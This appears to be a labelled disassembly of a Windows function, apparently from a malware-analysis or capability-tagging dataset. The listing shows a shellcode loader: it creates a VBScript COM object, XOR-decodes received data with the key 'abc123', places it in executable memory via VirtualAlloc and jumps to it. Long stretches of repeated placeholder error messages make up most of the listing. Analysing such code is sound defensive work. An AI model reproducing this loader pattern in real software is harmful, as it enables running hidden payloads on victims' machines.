Function at 0x401320
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x51e8c0
mov eax, dword fs:[0]
push eax
sub esp, 0x30
push ebx
push esi
push edi
mov eax, dword [0x569740]
xor eax, esp
push eax
lea eax, [esp + 0x40]
mov dword fs:[0], eax
xor esi, esi
push esi
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call fcn.00405539
test eax, eax
jne 0x401386
push 0x54b0d0
call fcn.004f722c
add esp, 4
mov dword [esp + 0x20], 1
jmp 0x4027a1
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
cmp eax, esi
je 0x401398
push esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jns 0x40181b
push str.Failed_to_initialize_COM.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov eax, dword [esi]
mov eax, dword [eax + 4]
mov bl, 6
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x4013e5
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x4013e5
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401406
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x4013fe
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_initialize_COM.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401442
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401442
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401463
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x40145b
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_initialize_COM.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x40149f
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x40149f
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x4014c0
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x4014b8
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_initialize_COM.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x4014fc
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x4014fc
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x40151d
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401515
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_initialize_COM.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401559
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401559
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x40157a
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401572
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_create_CCCCCCCCCCCC.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x4015b6
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x4015b6
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x4015d7
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x4015cf
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_create_DDDDDDDDDDDD.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401613
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401613
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401634
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x40162c
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_initialize_COM.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401670
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401670
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401691
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401689
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_initialize_COM.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x4016cd
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x4016cd
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x4016ee
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x4016e6
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_initialize_COM.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x40172a
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x40172a
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x40174b
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401743
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_initialize_COM.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401787
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401787
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x4017a8
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x4017a0
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_initialize_COM.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x4017e4
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x4017e4
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401805
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x4017fd
or eax, 4
push 0
push eax
call fcn.00403870
or eax, 0xffffffff
mov ecx, dword [esp + 0x40]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea edx, [esp + 0x10]
push edx
push 0x54b44c
push 1
push esi
push 0x54b45c
mov dword [esp + 0x24], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp eax, esi
jl 0x40258b
mov eax, dword [esp + 0x10]
cmp eax, esi
je 0x40258b
mov ecx, dword [eax]
mov edx, dword [ecx + 0x20]
push str.VBScript
push eax
call edx
lea ebx, [esp + 0x1c]
call section..text
xor edi, edi
push str.Failed_to_create_CCCCCCCCCCCC.
mov dword [esp + 0x4c], edi
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov eax, dword [esi]
mov eax, dword [eax + 4]
mov ecx, dword [eax + esi + 0xc]
mov bl, 6
test bl, cl
jne 0x4018a5
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x4018a5
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x4018c6
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x4018be
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_create_CCCCCCCCCCCC.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401902
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401902
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401923
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x40191b
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_create_CCCCCCCCCCCC.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x40195f
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x40195f
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401980
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401978
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_create_CCCCCCCCCCCC.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x4019bc
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x4019bc
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x4019dd
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x4019d5
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_create_CCCCCCCCCCCC.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401a19
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401a19
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401a3a
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401a32
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_create_DDDDDDDDDDDD.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401a76
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401a76
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401a97
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401a8f
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_create_DDDDDDDDDDDD.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401ad3
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401ad3
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401af4
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401aec
or eax, 4
push 0
push eax
call fcn.00403870
mov eax, dword [esp + 0x1c]
push ecx
mov ecx, esp
mov dword [esp + 0x2c], esp
mov dword [ecx], eax
test eax, eax
je 0x401b0f
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov ecx, dword [esp + 0x14]
call fcn.00401190
push str.Failed_to_create_CCCCCCCCCCCC.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401b54
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401b54
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401b73
or edi, dword [ecx + 0xc]
cmp dword [ecx + 0x38], 0
jne 0x401b6b
or edi, 4
push 0
push edi
call fcn.00403870
push str.Failed_to_create_CCCCCCCCCCCC.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401baf
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401baf
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401bd0
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401bc8
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_create_CCCCCCCCCCCC.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401c0c
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401c0c
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401c2d
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401c25
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_create_DDDDDDDDDDDD.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401c69
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401c69
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401c8a
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401c82
or eax, 4
push 0
push eax
call fcn.00403870
push ecx
mov ebx, esp
mov dword [esp + 0x2c], esp
call fcn.00401090
mov ecx, dword [esp + 0x14]
lea ebx, [esp + 0x30]
call fcn.00401240
mov edx, 0x2011
mov byte [esp + 0x48], 1
cmp word [esp + 0x2c], dx
jne 0x4022af
mov eax, dword [esp + 0x34]
xor edi, edi
push str.Failed_to_create_CCCCCCCCCCCC.
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], edi
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov ecx, dword [esi]
mov eax, dword [ecx + 4]
mov bl, 6
test byte [eax + esi + 0xc], bl
jne 0x401d02
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401d02
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401d23
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401d1b
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_create_CCCCCCCCCCCC.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401d5f
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401d5f
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401d80
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401d78
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_create_CCCCCCCCCCCC.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401dbc
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401dbc
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401ddd
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401dd5
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_create_DDDDDDDDDDDD.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401e19
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401e19
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401e3a
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401e32
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_create_DDDDDDDDDDDD.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401e76
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401e76
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401e97
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401e8f
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_create_CCCCCCCCCCCC.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401ed3
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401ed3
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401ef4
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401eec
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_create_CCCCCCCCCCCC.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401f30
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401f30
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401f51
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401f49
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_create_DDDDDDDDDDDD.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401f8d
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401f8d
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401fae
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401fa6
or eax, 4
push 0
push eax
call fcn.00403870
push str.Failed_to_create_DDDDDDDDDDDD.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x401fea
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401fea
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x40200b
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x402003
or eax, 4
push 0
push eax
call fcn.00403870
mov esi, dword [esp + 0x18]
lea edx, [esp + 0x14]
push edx
push esi
call dword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
cmp dword [esp + 0x14], 0
je 0x40255e
lea eax, [esp + 0x28]
push eax
push 1
push esi
call dword [sym.imp.OLEAUT32.dll_SafeArrayLock]
lea ecx, [esp + 0x24]
push ecx
push 1
push esi
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
mov edi, dword [esp + 0x24]
sub edi, dword [esp + 0x28]
mov esi, dword [esp + 0x14]
inc edi
mov ecx, 0
je 0x402070
xor edx, edx
mov eax, ecx
mov ebx, 6
div ebx
inc ecx
mov dl, byte [edx + str.abc123]
xor byte [ecx + esi - 1], dl
cmp ecx, edi
jb 0x402056
push str.Failed_to_create_VVVVV
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_VVVVVVVVVVVVV.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_VVVVVVVVVVVVV.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_VVVVVVVVVVVVV.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_CCCCCCCCCCCC.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_CCCCCCCf
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_DDDDDDDDDDDD.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_VVVVVVVVVVVVV.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_VVVVV
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_VVVVVVVVVVVVV.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_VVVVVVVVVVVVV.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_VVVVVVVVVVVVV.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x402187
mov eax, dword [esp + 0x14]
push edi
push eax
push esi
call fcn.004fbd80
add esp, 0xc
call esi
push str.Failed_to_create_AAAAAAAAAAAAA.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_AAAAAAAAAAAAA.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_AAAAAA
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_AAAAAAAAAAAAA.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_AAAAAAAAAAAAA.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_AAA
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_AAAAAAAAAAAAA.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_AAAAAAAAAAAAA.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_AAAAAAA
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_AAAAAAAAAAAAA.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_AAAAAAAAAAAAA.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_AAAAAAAAAAAAA.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_AAAAAAAAAAAAA.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.Failed_to_create_AAAAAAAAAAAAA.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
jmp 0x40255e
push str.No_valid_data_received.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
mov bl, 6
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x4022ed
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x4022ed
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x40230e
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x402306
or eax, 4
push 0
push eax
call fcn.00403870
